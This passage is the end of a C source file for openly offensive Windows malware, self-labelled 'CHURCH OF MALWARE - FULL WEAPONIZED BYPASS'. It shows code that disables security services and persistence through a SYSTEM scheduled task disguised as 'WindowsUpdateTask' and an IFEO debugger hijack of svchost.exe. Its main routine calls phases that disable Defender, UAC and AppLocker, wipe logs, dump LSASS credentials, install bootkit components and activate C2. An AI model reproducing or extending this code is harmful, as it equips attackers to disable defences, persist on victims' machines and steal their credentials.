    for (int i = 0; i < sizeof(services)/sizeof(services[0]); i++) {
        SC_HANDLE svc = OpenServiceW(scm, services[i], SERVICE_STOP | SERVICE_QUERY_STATUS);
        if (svc) {
            SERVICE_STATUS status;
            ControlService(svc, SERVICE_CONTROL_STOP, &status);
            ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
                                 NULL, NULL, NULL, NULL, NULL, NULL, NULL);
            CloseServiceHandle(svc);
            wprintf(L"[+] Disabled %ls\n", services[i]);
        }
    }
    CloseServiceHandle(scm);
}

void AddPersistence() {
    wchar_t cmd[MAX_PATH];
    GetModuleFileNameW(NULL, cmd, MAX_PATH);
    
    wchar_t taskCmd[512];
    swprintf(taskCmd, 512, L"schtasks /create /tn \"WindowsUpdateTask\" /tr \"%s\" /sc onlogon /ru SYSTEM /f", cmd);
    _wsystem(taskCmd);
    wprintf(L"[+] Scheduled task added\n");
    
    HKEY hKey;
    if (RegCreateKeyExW(HKEY_LOCAL_MACHINE,
                        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\svchost.exe",
                        0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
        wchar_t debugger[MAX_PATH];
        GetModuleFileNameW(NULL, debugger, MAX_PATH);
        RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, (BYTE*)debugger, (DWORD)(wcslen(debugger) * sizeof(wchar_t)));
        RegCloseKey(hKey);
        wprintf(L"[+] IFEO persistence\n");
    }
}

// ==============================
// MAIN
// ==============================
int main() {
    ElevateSelf();
    wprintf(L"\n[***] CHURCH OF MALWARE - FULL WEAPONIZED BYPASS [***]\n");
    
    // Phase 1: Disable core protections
    wprintf(L"\n=== PHASE 1: CORE PROTECTIONS ===\n");
    if (DisableTamperProtection()) Sleep(3000);
    DisableDefender();
    KillDefenderProcesses();
    DisableUAC();
    DisableAppLockerWDAC();
    
    // Phase 2: Anti-forensics
    wprintf(L"\n=== PHASE 2: ANTI-FORENSICS ===\n");
    AddDefenderExclusions();
    DisableSecurityLogs();
    DisableSystemRestore();
    DropTelemetryPackets();
    ScrambleMemory();
    
    // Phase 3: Persistence
    wprintf(L"\n=== PHASE 3: PERSISTENCE ===\n");
    AddPersistence();
    InstallBootkitComponents();
    
    // Phase 4: Service elimination
    wprintf(L"\n=== PHASE 4: SERVICE ELIMINATION ===\n");
    StopSecurityServices();
    
    // Phase 5: Credential access
    wprintf(L"\n=== PHASE 5: CREDENTIAL ACCESS ===\n");
    DumpLSASS();
    
    // Phase 6: Kernel bypass
    wprintf(L"\n=== PHASE 6: KERNEL BYPASS ===\n");
    EnableKernelExecution();
    
    // Phase 7: Process protection
    wprintf(L"\n=== PHASE 7: PROCESS PROTECTION ===\n");
    RunAsPPL();
    
    // Phase 8: C2 activation
    wprintf(L"\n=== PHASE 8: C2 ACTIVATION ===\n");
    NetworkC2Setup();
    
    wprintf(L"\n[+] ALL PHASES COMPLETE\n");
    wprintf(L"[!] REBOOT REQUIRED\n");
    wprintf(L"[*] Press any key to restart...\n");
    _getch();
    system("shutdown /r /t 5");
    
    return 0;
}